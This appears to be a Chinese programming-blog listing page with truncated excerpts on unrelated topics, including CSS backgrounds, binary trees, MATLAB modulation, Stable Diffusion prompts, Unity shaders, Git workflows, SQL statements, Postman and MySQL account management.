CSS(二)——CSS 背景

CSS 背景 CSS 背景属性用于定义HTML元素的背景。 CSS 背景属性 Property描述background简写属性&#xff0c;作用是将背景属性设置在一个声明中。background-attachment背景图像是否固定或者随着页面的其余部分滚动。background-color设置元素的背景颜色。background-image把…

《程序猿学会 Vue · 基础与实战篇》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; CSDN入驻不久&#xff0c;希望大家多多支持&#xff0c;后续会继续提升文章质量&#xff0c;绝不滥竽充数…

数据结构(二叉树-1)

文章目录 一、树 1.1 树的概念与结构 1.2 树的相关术语 1.3 树的表示 二、二叉树 2.1 二叉树的概念与结构 2.2特殊的二叉树 满二叉树 完全二叉树 2.3 二叉树的存储结构 三、实现顺序结构二叉树 3.1 堆的概念与结构 3.2 堆的实现 Heap.h Heap.c 默认初始化堆 堆的销毁 堆的插入 …

2024100读书笔记|《飞花令·夏》——鲜鲫银丝脍,香芹碧涧羹,人皆苦炎热,我爱夏日长

2024100读书笔记|《飞花令夏》——鲜鲫银丝脍&#xff0c;香芹碧涧羹&#xff0c;人皆苦炎热&#xff0c;我爱夏日长 《飞花令夏&#xff08;中国文化古典诗词品鉴&#xff09;》素心落雪 编著&#xff0c;飞花令得名于唐代诗人韩翃《寒食》中的名句“春城无处不飞花”&#xf…

matlab仿真 模拟调制(下)

&#xff08;内容源自详解MATLAB&#xff0f;SIMULINK 通信系统建模与仿真 刘学勇编著第五章内容&#xff0c;有兴趣的读者请阅读原书&#xff09; clear all ts0.001; t0:ts:10-ts; fs1/ts; dffs/length(t); msgrandi([-3 3],100,1); msg1msg*ones(1,fs/10); msg2reshape(ms…

Stable Diffusion 使用详解(1)---- 提示词及相关参数

目录 背景 提示词 内容提示词 人物及主体特征 场景 环境光照 画幅视角 注意事项及示例 标准化提示词 画质等级 风格与真实性 具体要求 背景处理 光线与色彩 负向提示词 小结 常用工具 另外几个相关参数 迭代步数 宽度与高度 提示词引导系数 图片数量 背景…

Unity | Shader基础知识(第十九集:顶点着色器的进一步理解-易错点讲解)

目录 一、前言 二、网格 三、方法UnityObjectToClipPos 四、顶点着色器和片元着色器的POSITION 五、作者的碎碎念 一、前言 之前我们简单讲解过顶点着色器&#xff0c;也简单讲解了表面着色器&#xff0c;并且一起做了一些案例&#xff0c;因为顶点着色器本身是更自由一些…

【Git多人协作开发】不同的分支下的多人协作开发模式

目录 0.前言背景 1.开发者1☞完成准备工作&协作开发 1.1查看分支情况 1.2创建本地分支feature-1 1.3三板斧 1.4push推本地分支feature-1到远程仓库 2.开发者2☞完成准备工作&协作开发 2.1创建本地分支feature-2 2.2三板斧 2.2push推送本地feature-2到远程仓库…

FineBI连接MySQL5.7

一、在FineBI系统管理中&#xff0c;点击【新建数据库连接】 选择MySQL数据库 配置数据库连接&#xff0c;如下&#xff0c;其中数据库名称就是需要连接的目标数据库

【通信协议-RTCM】MSM语句(2) - RINEXMSM7语句总结(重要!自动化开发计算卫星状态常用)

注释&#xff1a; 在工作中主要负责的是RTCM-MSM7语句相关开发工作&#xff0c;所以主要介绍的就是MSM7语句相关内容 1. 相位校准参考信号 2. MSM1、MSM2、MSM3、MSM4、MSM5、MSM6和MSM7的消息头内容 DATA FIELDDF NUMBERDATA TYPENO. OF BITSNOTES Message Number - 消息编…

DML数据操作语句和基本的DQL语句

一、MySQL对数据的增删改查 1.DML语句 1.1 增加数据(INSERT) insert into 表名 (字段名,字段名,...字段名) values/value (值,值,...值) 1.1.1 新增数据的具体实现 &#xff08;1&#xff09;全字段的插入 方式一&#xff1a; insert into student (sid,sname,birthday,ssex,…

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 开源项目热度排行榜(100分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆Coding ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 👏 感谢大家的订阅➕ 和 喜欢💗 🍿 最新华为OD机试D卷目录,全、新、准,题目覆盖率达 95% 以上,支持题目在线评测,专栏文章质量平均 93 分 最新华为OD机试目录…

Linux网络-配置IP

作者介绍&#xff1a;简历上没有一个精通的运维工程师。希望大家多多关注作者&#xff0c;下面的思维导图也是预计更新的内容和当前进度(不定时更新)。 本来IP配置应该放在Linux安装完成的就要配置的&#xff0c;但是由于那个时候对Linux不怎么熟悉&#xff0c;所以单独列了一个…

JVM系列(一) -浅谈虚拟机的成长史

一、摘要 众所周知&#xff0c;Java 经过多年的发展&#xff0c;已经从一门单纯的计算机编程语言&#xff0c;发展成了一套成熟的软件解决方案。从互联网到企业平台&#xff0c;Java 是目前使用最广泛的编程语言。 以下这段内容是来自 Java 的官方介绍&#xff01; 从笔记本电…

图片变更检测

20240723 By wdhuag 目录 前言&#xff1a; 参考&#xff1a; 文件监控&#xff1a; 图片占用问题&#xff1a; 源码&#xff1a; 前言&#xff1a; 由于第三方图像处理软件不能回传图片&#xff08;正常都能做&#xff0c;这里只是不想做&#xff09;&#xff0c;只能在…

Postman接口测试工具的使用

一、postman简介 Postman是一款功能强大的网页调试与发送网页HTTP请求的Chrome插件。作用&#xff1a;常用于进行接口测试。不需要安装。 特征&#xff1a;简单&#xff0c;实用&#xff0c;美观&#xff0c;大方。 二、Postman接口测试工具的使用 Postman不需要安…

MySQL的账户管理

目录 1 密码策略 1.1 查看数据库当前密码策略&#xff1a; 1.2 查看密码设置策略 1.3 密码强度检查等级解释&#xff08;validate_password.policy&#xff09; 2 新建登录账户 3 账户授权 3.1 赋权原则 3.2 常见的用户权限 3.3 查看权限 3.4 赋权语法 4 实例 4.1 示例1&#x…